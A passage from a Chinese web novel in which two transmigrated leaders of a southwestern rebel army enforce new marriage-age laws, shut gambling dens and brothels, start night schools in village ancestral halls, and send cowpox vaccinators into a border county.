这也不是假象,起初这些长安权贵们过来,也不是没人放肆,最后本地的都悄无声息的没了,才叫本地的豪强们对自家子弟耳提面命,不可放肆,不然还有的闹。 齐王在自己地盘上,行事比长安还要张扬,也是因为朝廷竟然搬迁到了江南,不少朝中大臣也暗自买股齐王,尤其是原看好太子的,也都悄悄摸摸的和齐王暧昧,一时间朝中齐王当为太子的呼声越过太子。 叫太子气的恨不能手撕了这个弟弟,偏他所在势力里,别家竟一个没来江南,叫朝中不少侧目,想知道别家去了哪个地方避祸。 如何在朝廷重建的风声传出去,还不过来任职,要知道当今陛下可没那么念旧情,就这么不明不白的离开,这位置早晚是要被别人占去的。 大历两百来年过去,朝中官位早就不够分了,不少世家子弟想要出仕,多是领个看似有名头,实则没实权的闲差,对外说的好听,只在长安当官的晓得,什么官位有分量。 别家是开国功臣,历经这么多任帝王,依旧稳稳当当在朝中任职,可见其本事,这时候放弃多年浸淫,岂非是撅了别家的根基。 一旦朝中没有当官,家里的富贵权势也不过几代就耗尽了。 没了别家在太子背后指点,太子在江南不知吃了多少晋王和齐王使的绊子,眼看着皇帝对太子的态度越发不好,太子自己也心急。 皇帝真要是在江南死了,他虽能够调动禁军的人手,但终究在齐王的地盘,谁胜谁负犹未可知,他不肯冒这个风险。 真要说肯定还是想等回长安后继位最稳妥,偏这一来二去间,得罪了不少人,皇帝对他的态度也越发不满,若不是终于晓得低头不在皇帝跟前晃悠,只怕太子之位已经保不住。 这时候,太子终于是发现别家的好了,至少别家从前在的时候,他的地位是无人敢动摇的,别家一去,方才看清他手里的势力不过是表面光。 太子急的团团转暂且不提,冯风领了几个人一路南下到了江南,便装作生意人,悄无声息的融入市井,打探起朝廷的消息。 江南人不比长安少多少,各大世家又齐聚在一处,什么消息都能传出来,荒唐的不荒唐的,都不必使银子,只在坊间热闹的酒肆坐坐,就能打探的一清二楚。 “别宫至今没有修好,广运帝当初南下,长安的金银珠宝必然是没少带的,不提今年税收,单是这些钱,修一座别宫绰绰有余,怎么会拖到今天?”冯风看到这条消息,觉得奇怪。 不说远了,广运帝这把年纪,早习惯了贪图享乐,到了江南没有特供的别宫,怎么住的下寻常别院。 再一个,江南本地的官员难得一个得见天颜的机会,难道没想着献殷勤,皇帝不出钱,江南本地官员难道还少了钱了不成? 数百万银钱说是多,可要是能够换得皇上青眼,那也是值得的,他不信江南的官员没有溜须拍马的。 “这却是不是下面的人敷衍,有人想着要将别宫修的又大又好,方才拖延至今。”手下的人将打听来的消息汇报过去。 “广运帝是为了避天花才来江南,虽说天花横行必不会一两月就消下去,但朝廷也不会说在江南待上三五年才回去。 耗费几月功夫,修一座够广运帝起居的别宫也就够了,真费几年功夫修一座皇城出来,怕是广运帝也没空住进去。” 这是马屁拍在马蹄上了,江南这些官员要不就是没脑子,要不就是有其他心思。 “听闻齐王如今在江南结交不少人,朝中不少官员也私下和齐王来往,看来这是把宝都压在齐王身上,太子没了别家的助力,又有齐王撬墙角,只怕已然不成气候,晋王呢,这么久我好像没有听到他的风声。” 晋王这些心思阴沉的人,最喜欢来一手螳螂捕蝉黄雀在后,他在晋王跟前露过脸,过来江南后行事极为小心,基本打听消息都没亲自去,防的就是晋王。 “晋王在江南没什么名声,瞧着像是安分守己,私下里倒是不知在做什么。” 这话也是不信晋王没有小动作。 “好个晋王,太子和齐王打擂,他倒是会隐身,只怕这江南要不了多久便要乱起来了。”冯风想着该写封信送回西南,好叫东家晓得江南的情况。 也看看东家是不是准备在江南加把火,朝廷乱起来对他们是有好处的,只是短时间内他们的军队不会出西南,太早乱起来日后中原也没那么好收拾。 …… 江南的信一来一回,便已经翻年过去,果真尚柒和别此云今年是不得空合家团聚,于各个县城奔忙后,回到应州城又马不停蹄的审核别景季、谢琅和崔渠写完的新律,看是否有地方需要修改。 谢琅是忙的双眼无神,大改律法从来不是容易事,就算尚柒和别此云已经定下框架,但每一条律法都需要仔细斟酌,别看修改律法主要是他们三人负责,但帮忙的人手可一点不少。 尤其是涉及一些百姓情况的律法,就得下到各乡里询问,这是尚柒和别此云特意要求的,这也是律法完善没那么容易的地方,不然按大历的规矩,只消遣人修改律法就是,哪管百姓意见。 要说唯一担心百姓有意见的,还是成亲年纪的问题,乡下人家养的孩子多,姑娘哥儿那都是早盼着嫁出去,换些嫁妆也不算白养一场。 因为私塾的缘故,已经叫那些没赶上十二三成亲的人家拖延到十五方才能成亲,这会子又白纸黑字的将年纪继续押后,只怕有人要闹。 其实按说玄甲军每到一处,都会因地制宜的看看能不能建一些收容百姓做工的工坊,姑娘哥儿识字了也能寻到合适的差事,但大部分人家依旧改不掉从前的老观念,只想着早些把家里的孩子送出去换钱了事。 “真要是闹肯定是闹不起来的,不可能答应的人多出自乡下,而玄甲军给农户分了田,闹起来惹恼了玄甲军收回田地,难道一家子喝西北风吗?” “分田的确解决了大部分麻烦,要说新律不少规矩在我等看来,都是惊世骇俗之举,若非玄甲军行事雷霆手段,怕是轻易不敢这么放出去。” 离谱的规矩历朝历代也不是没有,就说税收,大部分朝廷说要减赋,也不过是面上做做样子,一亩地三十抽一瞧着是天大的恩赐,但杂税加起来,不知比玄甲军的税收贵了多少去。 像盘州,玄甲军秋收收过一次税后,乡下人家再没一丝一毫说玄甲军不好的,毕竟再不会算账的人家,只看收税后,手里还剩多少粮食,就知道孰好孰坏。 反正过年时节,盘州市面上肉是再好卖不过,甚至应州因为玄甲军过来,冬日不少吃糠咽菜的人家,因为粮食便宜,也吃了几碗饱饭,算是过个好年。 但凡玄甲军所作所为传入中原,只怕会有源源不断的人来西南讨生活。 第144章 果然。 玄甲军新律一发布, 就在盘州应州引起了轩然大波,要说照往朝百姓压根不知道有什么律法照样过日子,但玄甲军却非要叫驻村的士兵挨家挨户的宣讲一些重要律令。 也是早一批玄甲军的将士们读了一两年书, 不说读成个咬文嚼字的老学究,但认字写字已经不成问题。 “啥,姑娘哥儿二十才给成亲?”果然最叫人乡下百姓关心的还是成亲的事, 什么买卖奴隶, 什么秦楼楚馆跟乡下人关系不大, 只要过得下去农户人家还是讲究本分二字。 “插什么嘴, 我话还没说完, 儿郎得二十二才准成亲, 下一条。” “诶,等等,军爷, 这话如何说的, 从前皇帝老儿管天管地,也没管过咱们这等人家的亲事,乡下人家, 早成亲早嫁人,那都是老习惯。” “是吗?你想过老习惯,那还要什么地, 改明儿就去衙门明说要过老习惯,把手里的地一交, 玄甲军也不管你。” 一涉及地,那人又不敢搭话了,但想来心里还是不服气。 “成亲日后都要去衙门过户,私下摆了酒席没在衙门过户的, 官府一律不认,日后有个什么财产纠纷,官府都是不管的,若是没成亲生了孩子,日后要闹和离,那孩子要么给娘子郎君,要么给官衙门养。” 这话其实不在律令上,但私下里倒是叫他们这些宣读的到乡下宣讲一番,好给这些想偷奸耍滑的百姓一个警告。 一通律令读完,不知多少人都浑浑噩噩,只怕从成亲那事开始,就已经听不进去其他话了。 “当家的,玄甲军这样说,咱们的亲事还成不成了?”律令一下来,原说好的亲事怕也是不成了。 “没听军爷说吗?私下里阳奉阴违的,抓住了都要给送去矿山挖矿。”说话的汉子自然是方才社树下抱怨的人,他彩礼钱都收好了,就等着选个良辰吉日办喜事呢,转头亲事不成了,真要成还要等上四五年,这如何等的。 “那这彩礼钱咱要退吗?”农户人家说亲,那都是赶着趟似的办完喜事,除了小时候定下的婚事,大多一两个月也就过完礼了。 “不退,这亲咱们又不是不成,只是玄甲军那头不愿意点头答应,他们不愿意那就是悔婚,这钱该咱们得。”黎老大是舍得不揣进兜里的钱又吐出去,左右人儿郎不也没满岁数,都要等,也就是多等几年的事。 “但他们要是闹起来,惹来了玄甲军,玄甲军叫咱们退钱又该怎么办?” “这事本就是玄甲军的不对,管天管地还管到百姓儿女身上,说破天钱也是咱们该得的,只要咱们认这桩亲,天王老子来了钱也退不了。” 吕娘子是晓得自己当家是个混的,但向来民不与官斗,真闹到衙门去了,她们能斗的过官府? “吕婶婶在不在?” “诶,是浅哥儿,今日不去私塾,如何到家里来了。”吕娘子嫁的黎老大和黎浅家有亲,虽关系已经远了些,但住在一个村,也时常往来。 不过真要说,黎家村只要姓黎的往祖上数几代,总是能算有关系在的。 “年后私塾开课,我得了先生准许,帮衙门跑些差事,今日过来,就是要登记吕婶婶和黎大伯成亲的事。”黎浅年前帮衙门做事得了衙门管事喜欢,这次各村统计成亲的差事,也落到他都上,亏得黎浅在私塾历来成绩好,不然先生是不肯叫他耽误课业的。 “官府还要统计我们成亲的事。”吕娘子吃惊,这玄甲军不光要管她们儿女,还要管到她们头上来了。 “正是嘞,若是不统计哪些人家结了亲,哪些人家没结亲,日后如何晓得谁私下里是否偷偷成亲了。 玄甲军说从前成亲的也就罢了,他们下来新律后还不按规矩成亲的,都要送去矿山呢,如今玄甲军得了好几处官家的矿,正缺人手。” 黎浅的声音不小,屋里还生闷气的黎老大也是听得一清二楚,原还想着真要是叫人闹彩礼,便打通村里人的关系,只给玄甲军说他们两家早成亲了,只是没张扬摆酒,左右也不是没有那等成亲不摆酒的人家。 这会子一听黎浅说的,家家户户结了亲都要报上去,这办法也就没用了。 “那玄甲军可有说从前定了亲的怎么办?” “这倒是没说,不过若是等着起,只多等几年就是,村里又不是没有小时候就定亲的人家,若是等不起,两厢合计退亲,晓得是因为玄甲军的规矩,不会对哥哥姐姐的名声造成损失。” 看来这彩礼钱多半是要退回去,定亲的儿郎与她家丫头同岁,她家丫头等个四五年成亲,那儿郎还要多等两年。 那时候人家再变卦,可不是耽误自家丫头了。 “吕婶婶你家情况我晓得,已经登记好了,且在上面按个手印,改明儿官衙门那边查看过后,给你和黎大伯补一张结婚登记证明,到时候我再给你送过来。”黎浅取出斜挎包里的印泥,叫吕娘子按了手印,便匆匆去了下一家。 这差事并不难,他本就是黎家村的人,哪家谁成亲,谁没成亲再熟悉不过,都不消多问,只在家里就能填好,就等着去各家给摁个手印交差。 “浅哥儿说的你也听见了,这亲事多半成不了,四五年的光阴有什么变数还说不好,时下城里工坊也招工,家里丫头也有地,不是在家白吃白喝,你若是不肯退彩礼到时候送去矿山做事,我们娘几个日子也照样过。” 吕娘子的话说的不轻不重,但听在黎老大耳朵里,满心不是个滋味,往年农户家里有个劳动力,都是捧着的。 时下,玄甲军来了,地不消买就有,种地的农具也都是铁打的,甚至种子种出来的粮食都比从前多。 就是姑娘哥儿一亩地收拾的不如儿郎好,每年收成也绝计不比从前差,现在税收也低,还没有其他杂税,不要他这个劳力,日子也过得去。 同黎老大这样的人不在少数,有的胆小不敢闹事,有的蛮横不讲理闹到玄甲军跟前,那是一抓一个准。 如此有几个闹的凶的村子都抓了人,也都消停下来,各村的村长抹了把汗。 自古皇权不下乡,玄甲军也怪,不光亲自遣军爷到各村走动驻守,还连民生小事都管的起劲。 不过管管也好,至少再不见哪个村里有闹事的地痞流氓。 而城里又是另外一番景象,城里人家对成亲年纪的事虽然也纠结,但又不如乡下人家着急,比起乡下早婚,城里多是十五六才说亲。 晚些十七八也是有的,到了二十的确是挑不到什么好儿郎,但大家伙都不成亲,也没什么打紧,左右拖延几年,叫姑娘哥儿去官府开的工坊做事,攒几年私房,日后嫁出去也有底气。 城里真正闹起来的,还是赌场妓馆,押妓赌钱自古不能说合法,但上面的人也都是不管的,妓馆还能说有钱人家去消遣,赌场几乎是三教九流的人都有。 但凡开赌场的,没谁真有良心,不说庄家作弊,单是私下教唆哄骗人染上赌瘾,再为了赌债闹个家破人亡,就已经是天下一等一黑心肝。 这不,新律一下来,应州城以及名下的县城,开赌场的抓了一波又一波,可是给矿场送了不少人手。 而妓馆勒令关门,唯一需要担心的,不过是里面做事的姑娘哥儿该安置在何处? 至于从前的鸨母和妓馆里的打手,有罪就抓没罪就放,算不得什么麻烦,只是做这些三教九流的行当,手里必然是不干净的,哪家妓馆敢说自己没做过逼良为娼的事? 总归玄甲军新律一处,乱上一阵后,应州盘州都为之一清。 紧赶着春耕来了,今年玄甲军的地盘一扩再扩,原先种的双季稻棉花能够在应州盘州全境推广,等到今年秋收,粮食已经不必说,棉花便能在市面上流通更多。 “军营一直在招兵,盘州城咱们一共招了两万五千人,合从前的人手,也算是有三万五千人,应州不比盘州,能招到一万人便不错了。” 玄甲军待遇再好,到底在百姓眼里还是当兵,偌大的两州青壮不知几何,但除开打仗,民生也需要人,尤其是只管打不管治理,这地盘迟早也是人家的。 “只在西南,眼下的兵力已经错错有余。”别此云是认可玄甲军的实力,不是他妄自尊大,整个大历,能比上玄甲军的一个没有。 “黄州边军虽称不上乌合之众,但战斗力的确不强,等拿下忠州之后,只要能保证咱们手里有过五万的兵力,控制整个西南便不成问题。”尚柒盘算了一下,打去中原五万人少了点,但他们都是精兵强将,后勤也肯定比大历做得好,唯一要担心的是,中原地大,又不似西南多山,到时候几路开花,怕玄甲军应付不过来。 “咱们近来有收到西南附近城池的消息吗?”虽说西南现在不许进也不许出,但中原方向的消息都还是传的过来。 “有,咱们不是叫人传了消息出去,说西南之地有预防天花的神药,眼下不少人都想到西南来求药。” 长安方向的天花或多或少已经蔓延开,只是西南离长安远,情况远不如长安方向危机。 “天花目前还没在西南有发现,我想先送一批牛痘去中原和西南接壤的城池,以义诊的名义。” “也好,咱们接下来两三年估计都要在西南境内打转,这时候能和外面有接触,总比临时抱佛脚强。” 说着二人又开始做短期计划,屋内的灯又是彻夜通明,叫下面的人看了去,只道二位主公为大业殚精竭虑,他们做手下的哪能看着主公忙碌,自己偷闲的,如此原一个个都干劲十足,之后更是效率加倍,还叫尚柒和别此云摸不着头脑,怎么一个个都跟打了鸡血似的。 第145章 昌州威名县。 地处中原和西南交接, 往日里从西南走水路的船只也都要靠岸威名县歇息,县里人口虽不及昌州城多,但繁华程度一点不输昌州城。 比盘州白鹤县的情况还要好, 毕竟靠水路,两地来往商船络绎不绝,连码头都比其他地方要大。 停泊的江船也都大, 西南水流湍急, 便是大江船吃水也够, 再往远去就不成了, 水浅了得靠纤夫拉船。 当初别家往西南来, 苏怡然就打着要在昌州城暂闭的主意, 虽一家子都被拐去了西南,但昌州该置办的产业也都是置办着的。 中原的地方官大部分背后都和世家沾亲带故,威名县又是好去处, 如今的县令正是叶家旁支的子弟, 过了朝廷的科举,也有几分本事,朝廷要是没出事, 大抵不消几年就能调回长安。 “近来县里闹的沸沸扬扬的牛痘到底是真是假,长安天花都叫皇帝吓的南逃了去,咱们威名县虽距离长安远, 但染了病的百姓可不管什么地头,真要是传了过来, 可如何是好?”叶全的夫人陈娘子可是担惊受怕的很。 “便是真的,难不成你还要去乱军的地头不成?”叶全不过二十来岁,处事却已经老成的很。 “若是真的,便是龙潭虎穴走一遭只要能活有什么要紧, 咱们好歹是叶家的人,乱军不看僧面看佛面,不至于说就要咱们的命,那天花,可看你我究竟是哪家吗?” 自古有言,王侯将相都逃过一个死字,世家更是如此。 “夫人,此言未必是真,西南乱军肆虐,天花泛滥几个月,就说有药可以防治,我看多半是谣言,想要沿岸百姓去西南安顿。”有人方才能种地,有地方才有税收,西南一地,多山人少,和中原来往不变,若非是岭南一代各类疾病肆虐,说不得西南比岭南还要鸡肋。 历朝历代西南造反的人不计其数,可见朝廷对此地的控制力实在不成。 陈娘子闻言神色暗淡下来,她不怕去乱军之地取药,就怕药是假的空欢喜一场。 虽说时下威名县没听说起疫,也许天花传出长安也就慢慢停歇了,但到底没谁敢断定天花传不到昌州来,人心惶惶终究不是个办法。 “大人,大事不好,西南方向来了几艘江船,上头瞧着有兵。” “有兵?乱军这么快拿下整个西南往中原打来不成?”不说叶全就是陈娘子都大吃一惊,这才过去多久,当初从西南逃出来的人不是说,乱军手里不过几千人吗? 西南可还有边军在,就这么轻易被拿下了。 “这,属下不知,不过几艘江船瞧着不大,便是坐满了人也不过两三百。” 这话一出,叶全和陈娘子对视一眼,若是中原这边两三百人拿一个县城,虽不一定拿的下,但也不算离谱。 可西南乱军真要出兵中原,如何只派遣三二百人,难不成这乱军当真以为自己是天兵天将,随便遣些人出来就能打下威名县不成? “船如今到哪儿了?”西南自乱军占据盘州城,基本就没有船只出来,进去的船只倒是有那么一两只,却也没什么其他音讯。 威名县的码头都空了几个月,县里许多在码头谋生的百姓可是叫苦不迭,今年冬日沿江的县城,不知多少人家没好日子过。 “快到码头了,大人,咱们是否要立刻着急县里的兵丁对抗,再遣人去昌州城求援。”每县的兵力有限,真遇上流寇土匪,一般还是要往上求援。 “先召集县里兵力往码头看看,真若是打过来再去昌州城求援。”叶全也非是说小看了乱军,只是府城兵力要召集不是那么容易的,真要是乱军攻城还能给刺史交代,可要不是,刺史必然也是责怪他的。 “是。” 威名县码头。 这次过来义诊的大夫人数不多,但个个都是在盘州应州身经百战过的,尤其是种牛痘的手法,一个比一个熟稔。 他们这次来威名县,主要也不是给人看病的,还是宣传牛痘预防天花,好叫沿江百姓晓得他们玄甲军的名声。 当然,光是一群手无缚鸡之力的大夫到中原来,说不得就要被当地势力扣住,随行的兵丁数目虽然不多,但个个都是见过血的,时下府兵完全不能和他们相提并论,只在沿江地带活动,倒也能保证大夫安危。 这不,船还没靠上码头,威名县那边已经召集了兵力,为首的该是县令,远远在人群后面站着,倒也不是贪生怕死之辈。 “不知诸位到威名县有何贵干?”叶全目光打量船上的人,倒也齐了,若是船上的乘客有姑娘哥儿也就罢了,船上穿甲拿枪的竟也有姑娘哥儿,算算人数,够的上小一船人。 “天花正在中原肆虐,我等奉主公令,到沿江县城为百姓种牛痘预防天花。” 叶全目光微凛,不解的打量几艘船上的人:“倒是不知乱军还有这份善心。” “西南早晚要和中原通船,若是贵地遭遇天花,想来我西南也难有安宁之日,善心也好,野心也罢,这牛痘叶大人愿不愿意百姓种,不过一句话的事。” “若我不愿意,诸位还能掉头回去吗?” “有何不可,到底种痘的都是主公治下的大夫,若是当地县令不肯,大夫安危如何有保障?” “天花早在中原肆虐许久,若是你们当真有心救民,为何现在才露面。”牛痘之事捕风捉影,叶全有九分的不信。 “自然是要先保主公治下百姓安危,方才有多余的给你们大历百姓,难不成你还盼着我等主公是救苦救难的活菩萨。” 这话是没错的,乱军既然已经做了叛乱之事,要紧的肯定是自己治下。 叶全又将目光方才船上的乘客上,看了看,几艘船乘客还是不少,他是不信西南之地能一口气派出这么多大夫,可偏偏这群人里,有不少刚到束发之龄的少年,也许是跟着先生出诊学医的学徒。 兵力倒是不多,所以此人说的多半是真的,但牛痘若是真,乱军的头子还遣人送到这里,消息一放出去,县里的百姓该如何作想。 比起刀光剑影,对方这手收买人心的手段要可怕的多,而他偏偏不能反对,莫说先前清空了百姓,乱军送大夫种牛痘的事传不到百姓间。 只看过来的府兵们,有多少听了这话不动摇的,百来人,他就是有银子封嘴,可涉及性命,怕也是封不过来。 而消息一传入百姓耳中,他必要遭人记恨上。 “诸位既然说来为威名县百姓防治牛痘,我自然是信的,只是天花在中原肆虐多年,历朝历代神医都未能相处解决办法,这回中原起疫才多长时间,你们便有了解决之道,未免太巧合了些。” “叶大人有所不知,我们主公医学世家出身,治天花的牛痘早几年前的已经着手研究,赶在天花爆发前有了成效,都是老天爷开眼。 叶大人也不必不信,我等都是种了牛痘方才出西南的,便是牛痘治不了天花,至少不会死人不是,只看叶大人你敢不敢赌一赌。” 他敢不敢没什么重要的,唯一要看的是百姓的意思,叶全的目光落在周围府兵身上,果然,不少人都是愿意让这群大夫进城的。 实在是这场天花波及范围太广了,以至于消息随着风声也都传进百姓的耳朵里,大家伙都知道长安起了疫,也都怕天花传过来。 “请。”叶全最终做了决定。 —————————— 应州的官道从别此云上任后,就开始陆陆续续修缮,如今玄甲军过来,更是大张旗鼓的招人手,不说远了,至少将通往各县城的官道修好,叫马车来往也更快捷。 往忠州去的官道已经快要收尾了,这段时日忠州方向送来的消息,一个比一个不好,已然成了一处乱地,不过都是些地方势力你打我我打你,倒还没弄出个像模像样的起义势力。 “应州和忠州之间来往并未断绝,像是和应州接壤的村子,已经或多或少知道应州的情况,甚至有不少人愿意到应州来做事。”这和当初白鹤县被围,凤来县下村子想去白鹤县做事一样。 “人手咱们一直缺,铁坊织坊煤坊,都是用于民生,应州人少,不及盘州,忠州百姓愿意过来,也是好的。”尚柒的确是愁人手,也是现在摊子还不够大,他和此云很多事还能亲力亲为,西南的底子必然是要打好的,便是中原战事不利,还能有个退路。 “眼下这也不过是拆东墙补西墙的举动罢了,倒是熬两年,私塾就能出一批认识的少年人,至少底层人手咱们不必那么缺了。” “还是得给青年中年这一层次的人一些机会,从前军队认字是个困难事,如今几年下来,字认全了,不也一个个开始有主意起来了。”打忠州定了六月,军营得知此事的军汉,一个比一个着急献策。 兵书这群只认字的汉子很难说啃的下来,但别景和一来,在帮将士们理解兵书上还是很有一套。 樊泊认字,但兵书看的少,主要也是如今书籍都是宝贝,他也没接触的渠道,这也正说明了樊泊的本事,若是在多读兵书,看过历朝历代的战争记载,必然本事又会拔高一筹。 “那么就要给他们认字的渠道,虽说私塾不禁年纪大了的去念书,但还是以孩子为主,过了十五岁的人基本都在找事做,工坊做事倒是好安排,可那些零散做事的人家又该如何?”例如田地的农户,总不能全叫孩子学了回去教人。 “夜校怎么样?”说实话,百姓夜里也确地没事做,要不家家户户生这么多孩子。 时下夜里点灯也实在不成,蜡烛油灯也就是借个火光,要他们在这种情况下认字,效率太低。 煤油灯倒是比蜡烛油灯强,但也是杯水车薪。 “夜里借私塾的教室上课,倒也可以,灯的问题我来想办法解决。”别此云显然有了主意,煤油灯不成,不是还有沼气灯,只供应学校他们还是供应的起,只是沼气灯得先做出来。 “好,有什么要帮忙的尽管告诉我,正好趁这个功夫我去矿山一趟。” “可是火药的事?” “不错,火药研制出来,虽已经可以用在战场上,但比起杀人,炸山还是更合适些。” “如此你需要小心些,毕竟是火药,一个不甚容易重伤。”别此云也没法说这么重要的事交给别人办。 “我知道,此云你也清楚,比起你,我是最惜命的。” “说的我像是什么不要命的疯子一样。”别此云轻嗤,他不过是异想天开了些,竟被尚柒一直抓着不放,要他看,这些时日他们共事,尚柒也没必他好到哪儿去。 “非也,明明是夸你锐意进取,而我则是胸无大志。”尚柒话落,就被别此云紧紧抱住。 “我同你说正经话,务必小心,若是我一不小心成了寡” “嘘,别说不吉利的事,也别立flag,我还等着咱们功成名就,一块看看咱们改变的世界会是什么样。”尚柒拍拍此云的后背,这世上只有他和此云两个漂泊无依的灵魂,他怎么舍得只剩此云一个人在这样的世道活着。 “好。” 第146章 开春没多久, 天气还有些刺骨的凛冽,尚柒打马上下来,去了矿山, 要说火药在大历也或多或少有些名头,不过都没用在军事上,都用在一些奇巧淫技的东西上, 例如烟花。 想要研究出厉害的火药, 最重要的就是厉害的配比, 当然, 如果有白糖更好, 时下糖也不便宜, 时下西南主要还是卖以甘蔗生产的红糖为主,因为地少,哪怕种了双季稻, 腾出的地儿也要种棉花和其他粮食, 分到甘蔗头上的也不多。 不过尚柒也不纠结,不说远了,单单是他提供的配比, 真试验出来,在战场上已经是一往无前的利器。 若能再打一门炮出来,陆战水战都只有赢得份, 但玄甲军短时间也出不去西南,除开加工加点研究火炮, 还可以将火药投入到生产中。 开山凿路,有火药不知能省多少事,也能腾出不少人力投入到别的地方。 “东家,制出来的火药咱们已经试验过几回了, 安全问题不必担心。”这炸药包不怕它炸就怕它不炸,是个哑炮还好,万一人守着它不炸,专等人过去了在炸开,那不是闹了灾么。 好在火药这东西,一开始他们就奔着东家给的配比去,多实验实验,不知少走了多少弯路。 “矿区的人疏散了吗?”炸山不是小事,尤其是靠近矿山,万一矿道坍塌,可不是简单能救回来的。 “疏散了,虽此地大部分都是重刑犯,但咱们也没道理说要他们的命。”这些人活着开矿好歹是有人手,真一个不慎死在矿道里,他们哪去招人手,如今玄甲军治下处处缺人,不说私塾里认字的孩子,就是不认字的大人那都是有事做,能平平安安挣钱,谁还来矿山卖命。 “嗯,照安排进行。”尚柒晓得手下人知道轻重,本今日过来也是看个成果,有功者赏,才不算白卖力不是。 矿山的事有尚柒,而山下别此云也没时间歇着,夜校要趁早办起来,这其中除开协调时间,解决照明问题外,最要紧的还是先生。 没先生教书,来再多的想认字的百姓也都是白搭,而白日里教授孩童的先生们也都身兼重任了,要他们夜里再加班,只怕也不人道。 当然,加班费肯定要出,只是从礼县过来教书的学子,家里少有缺这三瓜两枣的。 “只教认字,公子何不让私塾的学生看能不能行。”琴砚倒是提了个好建议。 “念过一年书的学生字基本都认识,聪明的三个月就能学其他的,若是给钱要他们夜里教人也不是不行,只是县里还好,乡下的私塾没那么好解决。” 有些村子人少,私塾都是尽量修在几个村子中间,也不叫孩子走太久,但乡下夜里大人打火把走夜路也就罢了,小孩子只怕不叫人放心。 别此云想了一会,又道:“各村可都有祠堂?” “有的,听外头说,一般村里发生什么事都是在村子里的祠堂举行公审,也不叫官府过来,尤其是大姓的村子,基本祖宗都是一家,好些后辈去了县里做事,年年也给祠堂捐钱。” 这事要照长安,琴砚必然是不知道,就是帮公子管外面诸多事的书墨也不见得知情,除开他们很少和农户人家接触外,还是长安的村子也比地方是守规矩的多。 私刑说到底官府是不赞成的,但一个村又有一个村的脸面,许多丑事不想外扬,最好的法子就在自己村解决,也不怕村里人抖落出去,毕竟大家伙利益一致。 “现在村子还有私下行刑的吗?”玄甲军不搞皇权不下乡那套,甚至村子里家家户户都是给摸头了的,真闹事一般驻守的兵丁会出面,实在解决不了或犯了新律的,直接上报给县里。 “有,不过都叫驻村的兵士给拦下来了,为此还起了几次冲突。” “此事怎么没上报?”别此云和尚柒如今是不可能事无巨细的处理应州盘州的所有问题,但驻村兵丁和村民起冲突,还不是一件两件,算的上大事了,若是解决不好很容易闹出更大的乱子。 “听宋娘子说,下面的人已经解决了,只当正常案件审理,便没特意上报。” “解决了?”别此云来了兴趣,这事要说好解决也好解决,毕竟玄甲军给的政策好,村里人不是连孩子的结婚年龄都妥协了吗? “不错,是下面县城一位主簿出面,说来也巧,正是当初姑爷看好的沙平县县令手下人呢。” 沙平县,别此云有印象,潘县令为人有些刻板,但无论本事还是品行,都算是好官了,若人干的出色,他和尚柒原是打算提拔到州府做事,哪想还冒出个主簿。 “将这几桩案子的案宗送过来。” “公子,那私塾的事?” “历来祠堂都算是村中最好的屋子,也宽敞,想来也是教学的好地方,也免得一年到头用不到积灰。”再说将沼气灯改在祠堂,祠堂夜里也难得亮堂,眼下连衙门内都没这个待遇。 “只怕村中人不肯。”琴砚说的自然是祠堂有规矩不许娘子郎君入内。 “不叫他们晚成亲他们也是不肯的,若都依他们的规矩而不是玄甲军的规矩,那么此地做主的究竟是玄甲军还是他们?” “公子也说的是。” …… “告示栏上又贴了个什么东西,家里认字的孩子呢,拉出来一个给解释解释。”村里的告示栏贴了新告示,许多干完活准备回家的农户一瞧着,就迫不及待的过来看新鲜。 玄甲军一来,村里立了告示栏,隔三差五就贴新告示,村里能唠的事不过张家长李家短,玄甲军给提供新鲜热闹,再没有人不看的。 这时候认字的人就有了风头,尤其是念了书的孩子,只是今个儿孩子们都还在私塾,只能请村里的村长过来。 一个村总还是要有那么几个认字的,不然请人写个分家书或是契书,都看不懂上面字写的是什么,还得了。 “村长,这夜校是是啥?我怎么没听明白,还说要把夜校放祠堂,祠堂可都是老祖宗们休息的地方,可不敢轻易打扰。” “夜校是上头体恤咱们地里忙活的人家,给特意开的私塾,夜里授课,但各村不再建私塾,有祠堂的就在祠堂里上。”告示些的清楚,村长刚刚念了一遍,大部分人没听明白。 “啥,进祠堂上课,这不是扰了祖宗清净么?再说夜里不睡觉黑灯瞎火的,能学个什么。” “告示又没逼你学,不愿学就不去。” “我不去,叫你们哪个不长眼的去祖宗跟前扰人清净?” “这话怎么说的,怎么叫去祖宗跟前扰清净,难得不是叫祖宗看着咱们好学,给咱们庇佑么。” 谁料话一落,不少人想着夜里祠堂的祖宗看着他们,都不由的打了个寒颤。 “夜里去祠堂认字,怪渗人的,不如叫家里小的得空了教咱几个字,也不说是睁眼瞎。” “咳咳,我不管你们想学还是不想学,上头给了这个意思,等祠堂收拾出来,每日夜里都开课,无论男女老少,愿意来的都去,不愿来的没人强迫。”村长一嗓子叫周围的瞬间鸦雀无声。 有哪个想要说怎么男女老少都给进祠堂,结果眼尖瞧着不远处过来的军爷,又给低下头去,如今家里的姑娘哥儿都要田了,可见玄甲军的态度,他们哪还敢明面上说这些话。 不过要说都怕了玄甲军,一句牢骚话都没有也是假的,像是孩子晚婚,虽不合如今的规矩,但到底没说不叫人结婚,忍忍也就过去了。 但一涉及祠堂这等传宗接代的大事,又很难说忍过去,可要闹,也不知如何闹能叫玄甲军放在心上。 说真的,自打玄甲军过来,只有他们这些平头百姓听玄甲军,没谁说敢站在玄甲军的头上耀武扬威,现在村里有偷人的,都不叫祠堂开审,反倒是拉去公堂清算财产叫人和离了就是。 而消息一出,各村的反应先不说,沙平县的连主簿却是得了天大的富贵。 “好啊,我就说连主簿你必然能够得到重用,这不,机会来了。”潘标不是善妒之人,连主簿得到主公重用,他只有高兴的份。 “还是得靠潘大人的指点,不然我这脑子浑浑噩噩,哪能得上面看重。”连主簿家底也就比一般人家好点,这辈子也没有往上走的余地,原想着跟在潘大人后面,得过且过,哪想还有出头之日。 “我不过是动动嘴皮子,你若没本事,任凭我说的天花乱坠,也没用,主公刚颁布了一道新令,我瞧着虽不是大事,但下面容易积怨。 你若去州府衙门报道,献策解决此事,想来官途还能再提一提。” “这……大人既然有主意,为何不献策,眼下玄甲军正缺人,大人若想去两位主公跟前做事,也不难。” “时也,运也,这些事不是我擅长处理的,便是我能处理好我治下的事,难保其他地方也能照我行事做,你却不一样,一般想出的法子折中不说,还在其他治下也适用,何苦与你争这个?” 潘标在大历官途不顺,也算是磋磨了些性子,不再急于求成。 正如连主簿所言,眼下玄甲军正缺人,只要他有本事迟早是会被提拔上去的,不急于这一时。 “大人如此说想来是有成算,属下便不必多言,这些年在大人手下做事,多得益处,眼下要走,还请大人赏脸,吃我一顿答谢宴。” 